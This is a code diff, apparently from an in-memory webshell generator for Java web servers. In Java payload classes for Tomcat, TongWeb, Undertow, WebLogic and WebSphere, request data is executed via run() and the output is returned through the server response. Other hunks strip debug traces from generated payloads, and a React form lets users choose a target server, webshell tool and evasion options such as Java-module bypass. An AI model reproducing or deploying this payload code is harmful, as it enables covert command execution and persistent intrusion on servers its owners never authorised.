e.printStackTrace(writer);
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
writer.flush();
writer.close();
return;
}
}
@@ -134,4 +148,19 @@ public class TomcatWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -70,14 +73,25 @@ public class TongWebWriter {
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
String result = "";
try {
writer.write(run(data));
result = run(data);
} catch (Throwable e) {
e.printStackTrace(writer);
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
writer.flush();
writer.close();
return true;
}
return false;
@@ -127,4 +141,19 @@ public class TongWebWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
@@ -31,14 +34,27 @@ public class UndertowWriter {
Object request = getFieldValue(value, "servletRequest");
Object response = getFieldValue(value, "servletResponse");
String data = getDataFromReq(request);
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
try {
writer.write(run(data));
} catch (Throwable e) {
e.printStackTrace(writer);
if (data != null && !data.isEmpty()) {
String result = "";
try {
result = run(data);
} catch (Throwable e) {
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
}
writer.flush();
writer.close();
return;
}
}
@@ -93,4 +109,19 @@ public class UndertowWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -38,16 +41,27 @@ public class WebLogicWriter {
}
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
String result = "";
try {
writer.write(run(data));
result = run(data);
} catch (Throwable e) {
e.printStackTrace(writer);
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
writer.flush();
writer.close();
// 防止重复写响应提前触发 send 操作
invokeMethod(response, "send", null, null);
// invokeMethod(response, "send", null, null);
}
} catch (Throwable e) {
e.printStackTrace();
@@ -101,4 +115,19 @@ public class WebLogicWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -32,17 +35,27 @@ public class WebSphereWriter {
Object response = getFieldValue(wsThreadLocal, "currentThreadsIExtendedResponse");
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
String result = "";
try {
writer.write(run(data));
result = run(data);
} catch (Throwable e) {
e.printStackTrace(writer);
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
writer.flush();
writer.close();
return;
}
break;
}
}
} catch (Throwable e) {
@@ -96,4 +109,19 @@ public class WebSphereWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
+5 -4
View File
@@ -10,12 +10,12 @@ reactor-netty = "1.1.25"
jackson = "2.19.0"
jetbrains-annotations = "26.0.2"
byte-buddy = "1.18.1"
byte-buddy = "1.18.2"
commons-io = "2.21.0"
commons-lang3 = "3.19.0"
commons-lang3 = "3.20.0"
commons-codec = "1.20.0"
logback = "1.5.21"
okhttp3 = "5.3.0"
logback = "1.5.22"
okhttp3 = "5.3.2"
fastjson2 = "2.0.60"
java-websocket = "1.6.0"
@@ -45,6 +45,7 @@ java-websocket = { module = "org.java-websocket:Java-WebSocket", version.ref = "
okhttp3 = { module = "com.squareup.okhttp3:okhttp", version.ref = "okhttp3" }
fastjson2 = { module = "com.alibaba.fastjson2:fastjson2", version.ref = "fastjson2" }
jackson-databind = { module = "com.fasterxml.jackson.core:jackson-databind", version.ref = "jackson" }
jackson-annotations = { module = "com.fasterxml.jackson.core:jackson-annotations", version.ref = "jackson" }
jetbrains-annotations = { module = "org.jetbrains:annotations", version.ref = "jetbrains-annotations" }
mockito-core = { module = "org.mockito:mockito-core", version.ref = "mockito" }
mockito-junit-jupiter = { module = "org.mockito:mockito-junit-jupiter", version.ref = "mockito" }
@@ -18,7 +18,6 @@ import static net.bytebuddy.jar.asm.Opcodes.POP;
/**
* Debug 信息打印移除器
* 目前仅支持移除以下几种
* <br />
* 1. System.out.println() - printf 还不支持
* 2. e.printStackTrace()
* 3. Logger.info (java.util)
@@ -47,7 +46,8 @@ public class LogRemoveMethodVisitor implements AsmVisitorWrapper.ForDeclaredMeth
@Override
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
if ((opcode == INVOKEVIRTUAL && owner.equals("java/io/PrintStream") && name.equals("println"))
|| (opcode == INVOKEVIRTUAL && owner.endsWith("Exception") && name.equals("printStackTrace"))
|| (opcode == INVOKEVIRTUAL && owner.endsWith("Exception") && name.equals("printStackTrace") && descriptor.equals("()V"))
|| (opcode == INVOKEVIRTUAL && owner.equals("java/lang/Throwable") && name.equals("printStackTrace") && descriptor.equals("()V"))
|| (opcode == INVOKEVIRTUAL && owner.equals("java/util/logging/Logger") && (name.equals("info") || name.equals("warning")))
) {
String[] args = descriptor.substring(1, descriptor.indexOf(')')).split(";");
@@ -16,7 +16,7 @@ public interface AggregatePacker extends Packer {
* 聚合打包当前所有分类下的 payload
*
* @param config 生成结果
* @return key -> 打包名称value -> 打包 payload
* @return key - 打包名称value - 打包 payload
*/
default Map<String, String> packAll(ClassPackerConfig config) {
return Packers.getPackersWithParent(this.getClass()).stream().collect(Collectors.toMap(
@@ -8,7 +8,7 @@ import com.reajason.javaweb.packer.Packers;
/**
*
* @since 5.2.24SpEL 限制了长度为 10000常规的 Base64 编码已经不适用需要进一步使用 GZIP 压缩
* <a href="https://github.com/spring-projects/spring-framework/blob/2ed1b6e6dda48ff0c74b67b39cba65676b5397b6/spring-expression/src/main/java/org/springframework/expression/spel/standard/InternalSpelExpressionParser.java#L100">InternalSpelExpressionParser.java</>
* https://github.com/spring-projects/spring-framework/blob/2ed1b6e6dda48ff0c74b67b39cba65676b5397b6/spring-expression/src/main/java/org/springframework/expression/spel/standard/InternalSpelExpressionParser.java#L100
*
* @author ReaJason
* @since 2024/12/13
+77
View File
@@ -0,0 +1,77 @@
[data-rmiz] {
display: block;
position: relative;
}
[data-rmiz-ghost] {
pointer-events: none;
position: absolute;
}
[data-rmiz-btn-zoom],
[data-rmiz-btn-unzoom] {
display: none;
}
[data-rmiz-content="found"] img {
cursor: zoom-in;
}
[data-rmiz-modal][open] {
width: 100vw /* fallback */;
width: 100dvw;
height: 100vh /* fallback */;
height: 100dvh;
background-color: transparent;
max-width: none;
max-height: none;
margin: 0;
padding: 0;
position: fixed;
overflow: hidden;
}
[data-rmiz-modal]:focus-visible {
outline: none;
}
[data-rmiz-modal-overlay] {
transition: background-color 0.3s;
position: absolute;
inset: 0;
}
[data-rmiz-modal-overlay="visible"] {
background-color: var(--color-fd-background);
}
[data-rmiz-modal-overlay="hidden"] {
background-color: transparent;
}
[data-rmiz-modal-content] {
width: 100%;
height: 100%;
position: relative;
}
[data-rmiz-modal]::backdrop {
display: none;
}
[data-rmiz-modal-img] {
cursor: zoom-out;
image-rendering: high-quality;
transform-origin: 0 0;
transition: transform 0.3s;
position: absolute;
}
@media (prefers-reduced-motion: reduce) {
[data-rmiz-modal-overlay],
[data-rmiz-modal-img] {
transition-duration: 0.01ms !important;
}
}
+58
View File
@@ -0,0 +1,58 @@
"use client";
import { Image, type ImageProps } from "fumadocs-core/framework";
import type { ComponentProps } from "react";
import Zoom, { type UncontrolledProps } from "react-medium-image-zoom";
import "@/components/image-zoom.css";
export type ImageZoomProps = ImageProps & {
/**
* Image props when zoom in
*/
zoomInProps?: ComponentProps<"img">;
/**
* Props for `react-medium-image-zoom`
*/
rmiz?: UncontrolledProps;
};
function getImageSrc(src: ImageProps["src"]): string {
if (typeof src === "string") return src;
if (typeof src === "object") {
// Next.js
if ("default" in src)
return (src as { default: { src: string } }).default.src;
return src.src;
}
return "";
}
export function ImageZoom({
zoomInProps,
children,
rmiz,
...props
}: ImageZoomProps) {
return (
<Zoom
zoomMargin={20}
wrapElement="span"
{...rmiz}
zoomImg={{
src: getImageSrc(props.src),
sizes: undefined,
...zoomInProps,
}}
>
{children ?? (
<Image
sizes="(max-width: 768px) 100vw, (max-width: 1200px) 70vw, 900px"
{...props}
/>
)}
</Zoom>
);
}
@@ -1,59 +0,0 @@
import { Slot } from "@radix-ui/react-slot";
import { cva, type VariantProps } from "class-variance-authority";
import React from "react";
import { cn } from "@/lib/utils";
const rainbowButtonVariants = cva(
cn(
"relative cursor-pointer group transition-all animate-rainbow",
"inline-flex items-center justify-center gap-2 shrink-0",
"rounded-sm outline-none focus-visible:ring-[3px] aria-invalid:border-destructive",
"text-sm font-medium whitespace-nowrap",
"disabled:pointer-events-none disabled:opacity-50",
"[&_svg]:pointer-events-none [&_svg:not([class*='size-'])]:size-4 [&_svg]:shrink-0",
),
{
variants: {
variant: {
default:
"border-0 bg-[linear-gradient(#121213,#121213),linear-gradient(#121213_50%,rgba(18,18,19,0.6)_80%,rgba(18,18,19,0)),linear-gradient(90deg,var(--color-1),var(--color-5),var(--color-3),var(--color-4),var(--color-2))] bg-[length:200%] text-primary-foreground [background-clip:padding-box,border-box,border-box] [background-origin:border-box] [border:calc(0.125rem)_solid_transparent] before:absolute before:bottom-[-20%] before:left-1/2 before:z-0 before:h-1/5 before:w-3/5 before:-translate-x-1/2 before:animate-rainbow before:bg-[linear-gradient(90deg,var(--color-1),var(--color-5),var(--color-3),var(--color-4),var(--color-2))] before:[filter:blur(0.75rem)] dark:bg-[linear-gradient(#fff,#fff),linear-gradient(#fff_50%,rgba(255,255,255,0.6)_80%,rgba(0,0,0,0)),linear-gradient(90deg,var(--color-1),var(--color-5),var(--color-3),var(--color-4),var(--color-2))]",
outline:
"border border-input border-b-transparent bg-[linear-gradient(#ffffff,#ffffff),linear-gradient(#ffffff_50%,rgba(18,18,19,0.6)_80%,rgba(18,18,19,0)),linear-gradient(90deg,var(--color-1),var(--color-5),var(--color-3),var(--color-4),var(--color-2))] bg-[length:200%] text-accent-foreground [background-clip:padding-box,border-box,border-box] [background-origin:border-box] before:absolute before:bottom-[-20%] before:left-1/2 before:z-0 before:h-1/5 before:w-3/5 before:-translate-x-1/2 before:animate-rainbow before:bg-[linear-gradient(90deg,var(--color-1),var(--color-5),var(--color-3),var(--color-4),var(--color-2))] before:[filter:blur(0.75rem)] dark:bg-[linear-gradient(#0a0a0a,#0a0a0a),linear-gradient(#0a0a0a_50%,rgba(255,255,255,0.6)_80%,rgba(0,0,0,0)),linear-gradient(90deg,var(--color-1),var(--color-5),var(--color-3),var(--color-4),var(--color-2))]",
},
size: {
default: "h-9 px-4 py-2",
sm: "h-8 rounded-xl px-3 text-xs",
lg: "h-11 rounded-xl px-8",
icon: "size-9",
},
},
defaultVariants: {
variant: "default",
size: "default",
},
},
);
interface RainbowButtonProps
extends React.ButtonHTMLAttributes<HTMLButtonElement>,
VariantProps<typeof rainbowButtonVariants> {
asChild?: boolean;
}
const RainbowButton = React.forwardRef<HTMLButtonElement, RainbowButtonProps>(
({ className, variant, size, asChild = false, ...props }, ref) => {
const Comp = asChild ? Slot : "button";
return (
<Comp
data-slot="button"
className={cn(rainbowButtonVariants({ variant, size, className }))}
ref={ref}
{...props}
/>
);
},
);
RainbowButton.displayName = "RainbowButton";
export { RainbowButton, rainbowButtonVariants, type RainbowButtonProps };
+335 -258
View File
@@ -2,6 +2,7 @@ import {
ArrowUpRightIcon,
AxeIcon,
CommandIcon,
InfoIcon,
NetworkIcon,
ServerIcon,
ShieldOffIcon,
@@ -9,8 +10,8 @@ import {
WaypointsIcon,
ZapIcon,
} from "lucide-react";
import { type JSX, useCallback, useEffect, useState } from "react";
import { FormProvider, type UseFormReturn } from "react-hook-form";
import { type JSX, useCallback, useRef, useState } from "react";
import { Controller, type UseFormReturn, useWatch } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { AntSwordTabContent } from "@/components/memshell/tabs/antsword-tab";
import { BehinderTabContent } from "@/components/memshell/tabs/behinder-tab";
@@ -21,15 +22,12 @@ import { NeoRegTabContent } from "@/components/memshell/tabs/neoreg-tab";
import { Suo5TabContent } from "@/components/memshell/tabs/suo5-tab";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import {
FormControl,
FormDescription,
FormField,
FormFieldItem,
FormFieldLabel,
FormItem,
FormLabel,
FormMessage,
} from "@/components/ui/form";
Field,
FieldContent,
FieldDescription,
FieldError,
FieldLabel,
} from "@/components/ui/field";
import { Label } from "@/components/ui/label";
import {
Select,
@@ -40,12 +38,18 @@ import {
} from "@/components/ui/select";
import { Switch } from "@/components/ui/switch";
import { Tabs } from "@/components/ui/tabs";
import {
Tooltip,
TooltipContent,
TooltipTrigger,
} from "@/components/ui/tooltip";
import {
type MainConfig,
type ServerConfig,
ShellToolType,
} from "@/types/memshell";
import type { MemShellFormSchema } from "@/types/schema.ts";
import type { MemShellFormSchema } from "@/types/schema";
import { Spinner } from "../ui/spinner";
const shellToolIcons: Record<ShellToolType, JSX.Element> = {
[ShellToolType.Behinder]: <ShieldOffIcon className="h-4 w-4" />,
@@ -61,7 +65,7 @@ const shellToolIcons: Record<ShellToolType, JSX.Element> = {
const defaultServerVersionOptions = [
{
name: "Unknown",
value: "unknown",
value: "Unknown",
},
];
@@ -74,32 +78,21 @@ export default function MainConfigCard({
form: UseFormReturn<MemShellFormSchema>;
servers?: ServerConfig;
}>) {
const { t } = useTranslation(["common", "memshell"]);
const [shellToolMap, setShellToolMap] = useState<{
[toolName: string]: string[];
}>();
const [shellTools, setShellTools] = useState<ShellToolType[]>([
ShellToolType.Godzilla,
ShellToolType.Behinder,
ShellToolType.AntSword,
ShellToolType.Command,
ShellToolType.Suo5,
ShellToolType.NeoreGeorg,
ShellToolType.Custom,
]);
const [shellTools, setShellTools] = useState<ShellToolType[]>([]);
const [shellTypes, setShellTypes] = useState<string[]>([]);
const shellTool = form.watch("shellTool");
const { t } = useTranslation(["common", "memshell"]);
const [serverVersionOptions, setServerVersionOptions] = useState(
defaultServerVersionOptions,
);
// 处理一下 shellTypes 由于 server 或 shellTool 变更时无法正常为 form.shellType 赋值的问题
useEffect(() => {
if (shellTypes.length > 0) {
form.setValue("shellType", shellTypes[0]);
}
}, [shellTypes, form]);
const shellTool = useWatch({
control: form.control,
name: "shellTool",
});
const handleServerChange = useCallback(
(value: string) => {
@@ -126,7 +119,10 @@ export default function MainConfigCard({
}
setShellTypes(currentShellTypes);
// 特殊环境的 JDK 版本
if (currentShellTypes && currentShellTypes.length > 0) {
form.setValue("shellType", currentShellTypes[0]);
}
if (
(value === "SpringWebFlux" || value === "XXLJOB") &&
Number.parseInt(form.getValues("targetJdkVersion") as string, 10) < 52
@@ -136,7 +132,6 @@ export default function MainConfigCard({
form.setValue("targetJdkVersion", "50");
}
// 特殊的服务需要指定版本
if (value === "TongWeb") {
setServerVersionOptions([
...defaultServerVersionOptions,
@@ -163,16 +158,6 @@ export default function MainConfigCard({
[form, mainConfig],
);
// 处理一下默认值 server 不刷新 shellType 的问题
useEffect(() => {
if (mainConfig) {
const initialServer = form.getValues("server");
if (initialServer && mainConfig[initialServer]) {
handleServerChange(initialServer);
}
}
}, [mainConfig, form, handleServerChange]);
const handleShellToolChange = useCallback(
(value: string) => {
const resetCommand = () => {
@@ -223,6 +208,11 @@ export default function MainConfigCard({
}
setShellTypes(currentShellTypes);
// 直接设置 shellType 而不是依赖 useEffect
if (currentShellTypes && currentShellTypes.length > 0) {
form.setValue("shellType", currentShellTypes[0]);
}
form.resetField("urlPattern");
form.resetField("shellClassName");
form.resetField("injectorClassName");
@@ -247,8 +237,17 @@ export default function MainConfigCard({
[form, servers, shellToolMap],
);
const initializedRef = useRef(false);
if (!initializedRef.current && mainConfig) {
const initialServer = form.getValues("server");
if (initialServer && mainConfig[initialServer]) {
handleServerChange(initialServer);
initializedRef.current = true;
}
}
return (
<FormProvider {...form}>
<>
<Card>
<CardHeader className="pb-1">
<CardTitle className="text-md flex items-center gap-2">
@@ -257,222 +256,300 @@ export default function MainConfigCard({
</CardTitle>
</CardHeader>
<CardContent>
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<FormField
control={form.control}
name="server"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>{t("common:server")}</FormFieldLabel>
<Select
onValueChange={(v) => {
field.onChange(v);
handleServerChange(v);
}}
value={field.value}
>
<FormControl>
<SelectTrigger>
<SelectValue
placeholder={t("common:placeholders.select")}
/>
</SelectTrigger>
</FormControl>
<SelectContent>
{Object.keys(servers ?? {}).map((server: string) => (
<SelectItem key={server} value={server}>
{server}
</SelectItem>
))}
</SelectContent>
</Select>
<FormDescription className="flex items-center">
{t("memshell:tips.targetServerNotFound")}&nbsp;
<a
href="https://github.com/ReaJason/MemShellParty/issues/new?template=%E8%AF%B7%E6%B1%82%E9%80%82%E9%85%8D.md"
target="_blank"
rel="noreferrer"
className="flex items-center underline"
{!mainConfig ? (
<div className="flex items-center justify-center p-4 gap-4 h-100">
<Spinner />
<span className="text-sm text-muted-foreground">
{t("loading")}
</span>
</div>
) : (
<div className="flex flex-col gap-2">
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<Controller
control={form.control}
name="server"
render={({ field }) => (
<Field>
<FieldContent>
<FieldLabel htmlFor="server">
{t("common:server")}
</FieldLabel>
<Select
onValueChange={(v) => {
field.onChange(v);
handleServerChange(v as string);
}}
value={field.value}
>
<SelectTrigger id="server">
<SelectValue
data-placeholder={t("common:placeholders.select")}
/>
</SelectTrigger>
<SelectContent>
{Object.keys(servers ?? {}).map(
(server: string) => (
<SelectItem key={server} value={server}>
{server}
</SelectItem>
),
)}
</SelectContent>
</Select>
<FieldDescription className="flex items-center">
{t("memshell:tips.targetServerNotFound")}&nbsp;
<a
href="https://github.com/ReaJason/MemShellParty/issues/new?template=%E8%AF%B7%E6%B1%82%E9%80%82%E9%85%8D.md"
target="_blank"
rel="noreferrer"
className="flex items-center underline"
>
{t("memshell:tips.targetServerRequest")}
<ArrowUpRightIcon className="h-4" />
</a>
</FieldDescription>
</FieldContent>
</Field>
)}
/>
<Controller
control={form.control}
name="serverVersion"
render={({ field, fieldState }) => (
<Field
orientation="vertical"
data-invalid={fieldState.invalid}
>
{t("memshell:tips.targetServerRequest")}
<ArrowUpRightIcon className="h-4" />
</a>
</FormDescription>
</FormFieldItem>
)}
/>
<FormField
control={form.control}
name="serverVersion"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>{t("common:serverVersion")}</FormFieldLabel>
<Select onValueChange={field.onChange} value={field.value}>
<FormControl>
<SelectTrigger>
<SelectValue
placeholder={t("common:placeholders.select")}
/>
</SelectTrigger>
</FormControl>
<SelectContent>
{serverVersionOptions.map((v) => (
<SelectItem key={v.value} value={v.value}>
{v.name}
</SelectItem>
))}
</SelectContent>
</Select>
<FormMessage />
</FormFieldItem>
)}
/>
</div>
<div className="grid grid-cols-1">
<FormField
control={form.control}
name="shellTool"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>{t("common:shellTool")}</FormFieldLabel>
<Select
value={field.value}
onValueChange={(v) => handleShellToolChange(v)}
>
<FormControl>
<SelectTrigger>
<SelectValue />
</SelectTrigger>
</FormControl>
<SelectContent>
{shellTools.map((tool) => (
<SelectItem key={tool} value={tool}>
<span className="flex items-center gap-2">
{shellToolIcons[tool]}
{tool}
</span>
</SelectItem>
))}
</SelectContent>
</Select>
</FormFieldItem>
)}
/>
</div>
<div className="flex gap-4 mt-4 flex-col sm:flex-row xl:grid xl:grid-cols-2 2xl:grid 2xl:grid-cols-3">
<FormField
control={form.control}
name="debug"
render={({ field }) => (
<FormItem className="flex items-center space-x-2 space-y-0">
<FormControl>
<Switch
id="debug"
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel htmlFor="debug">{t("common:debug")}</FormLabel>
</FormItem>
)}
/>
<FormField
control={form.control}
name="probe"
render={({ field }) => (
<FormItem className="flex items-center space-x-2 space-y-0">
<FormControl>
<Switch
id="probe"
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<Label htmlFor="probe">{t("common:probe")}</Label>
</FormItem>
)}
/>
<FormField
control={form.control}
name="byPassJavaModule"
render={({ field }) => (
<FormItem className="flex items-center space-x-2 space-y-0">
<FormControl>
<Switch
id="bypass"
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<Label htmlFor="bypass">{t("common:byPassJavaModule")}</Label>
</FormItem>
)}
/>
<FormField
control={form.control}
name="lambdaSuffix"
render={({ field }) => (
<FormItem className="flex items-center space-x-2 space-y-0">
<FormControl>
<Switch
id="lambdaSuffix"
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<Label htmlFor="lambdaSuffix">
{t("common:lambdaSuffix")}
</Label>
</FormItem>
)}
/>
<FormField
control={form.control}
name="shrink"
render={({ field }) => (
<FormItem className="flex items-center space-x-2 space-y-0">
<FormControl>
<Switch
id="shrink"
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<Label htmlFor="shrink">{t("common:shrink")}</Label>
</FormItem>
)}
/>
<FormField
control={form.control}
name="staticInitialize"
render={({ field }) => (
<FormItem className="flex items-center space-x-2 space-y-0">
<FormControl>
<Switch
id="staticInitialize"
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<Label htmlFor="staticInitialize">
{t("common:staticInitialize")}
</Label>
</FormItem>
)}
/>
</div>
<FieldContent>
<FieldLabel htmlFor="serverVersion">
{t("common:serverVersion")}
</FieldLabel>
<Select
onValueChange={field.onChange}
value={field.value}
>
<SelectTrigger
id="serverVersion"
aria-invalid={fieldState.invalid}
>
<SelectValue
data-placeholder={t("common:placeholders.select")}
/>
</SelectTrigger>
<SelectContent>
{serverVersionOptions.map((v) => (
<SelectItem key={v.value} value={v.value}>
{v.name}
</SelectItem>
))}
</SelectContent>
</Select>
{fieldState.error && (
<FieldError errors={[fieldState.error]} />
)}
</FieldContent>
</Field>
)}
/>
</div>
<div className="grid grid-cols-1">
<Controller
control={form.control}
name="shellTool"
render={({ field }) => (
<Field>
<FieldContent>
<FieldLabel htmlFor="shellTool">
{t("common:shellTool")}
</FieldLabel>
<Select
value={field.value}
onValueChange={(v) =>
handleShellToolChange(v as string)
}
>
<SelectTrigger id="shellTool">
<SelectValue
data-placeholder={t("common:placeholders.select")}
/>
</SelectTrigger>
<SelectContent>
{shellTools.map((tool) => (
<SelectItem key={tool} value={tool}>
<span className="flex items-center gap-2">
{shellToolIcons[tool]}
{tool}
</span>
</SelectItem>
))}
</SelectContent>
</Select>
</FieldContent>
</Field>
)}
/>
</div>
<div className="flex gap-4 mt-4 flex-col lg:grid lg:grid-cols-2 2xl:grid 2xl:grid-cols-3">
<Controller
control={form.control}
name="debug"
render={({ field }) => (
<div className="flex items-center gap-2">
<Switch
id="debug"
checked={field.value}
onCheckedChange={field.onChange}
/>
<Label htmlFor="debug">{t("common:debug")}</Label>
<Tooltip>
<TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
</TooltipTrigger>
<TooltipContent>
<p>{t("common:debug.description")}</p>
</TooltipContent>
</Tooltip>
</div>
)}
/>
<Controller
control={form.control}
name="probe"
render={({ field }) => (
<div className="flex items-center gap-2">
<Switch
id="probe"
checked={field.value}
onCheckedChange={field.onChange}
/>
<Label htmlFor="probe">{t("common:probe")}</Label>
<Tooltip>
<TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
</TooltipTrigger>
<TooltipContent>
<p>{t("common:probe.description")}</p>
</TooltipContent>
</Tooltip>
</div>
)}
/>
<Controller
control={form.control}
name="byPassJavaModule"
render={({ field }) => (
<div className="flex items-center gap-2">
<Switch
id="bypass"
checked={field.value}
onCheckedChange={field.onChange}
/>
<Label htmlFor="bypass">
{t("common:byPassJavaModule")}
</Label>
<Tooltip>
<TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
</TooltipTrigger>
<TooltipContent>
<p>{t("common:byPassJavaModule.description")}</p>
</TooltipContent>
</Tooltip>
</div>
)}
/>
<Controller
control={form.control}
name="lambdaSuffix"
render={({ field }) => (
<div className="flex items-center gap-2">
<Switch
id="lambdaSuffix"
checked={field.value}
onCheckedChange={field.onChange}
/>
<Label htmlFor="lambdaSuffix">
{t("common:lambdaSuffix")}
</Label>
<Tooltip>
<TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
</TooltipTrigger>
<TooltipContent>
<p>{t("common:lambdaSuffix.description")}</p>
</TooltipContent>
</Tooltip>
</div>
)}
/>
<Controller
control={form.control}
name="shrink"
render={({ field }) => (
<div className="flex items-center gap-2">
<Switch
id="shrink"
checked={field.value}
onCheckedChange={field.onChange}
/>
<Label htmlFor="shrink">{t("common:shrink")}</Label>
<Tooltip>
<TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
</TooltipTrigger>
<TooltipContent>
<p>{t("common:shrink.description")}</p>
</TooltipContent>
</Tooltip>
</div>
)}
/>
<Controller
control={form.control}
name="staticInitialize"
render={({ field }) => (
<div className="flex items-center gap-2">
<Switch
id="staticInitialize"
checked={field.value}
onCheckedChange={field.onChange}
/>
<Label htmlFor="staticInitialize">
{t("common:staticInitialize")}
</Label>
<Tooltip>
<TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
</TooltipTrigger>
<TooltipContent>
<p>{t("common:staticInitialize.description")}</p>
</TooltipContent>
</Tooltip>
</div>
)}
/>
</div>
</div>
)}
</CardContent>
</Card>
<Tabs value={shellTool} className="w-full">
<GodzillaTabContent form={form} shellTypes={shellTypes} />
<CommandTabContent form={form} shellTypes={shellTypes} />
<BehinderTabContent form={form} shellTypes={shellTypes} />
<AntSwordTabContent form={form} shellTypes={shellTypes} />
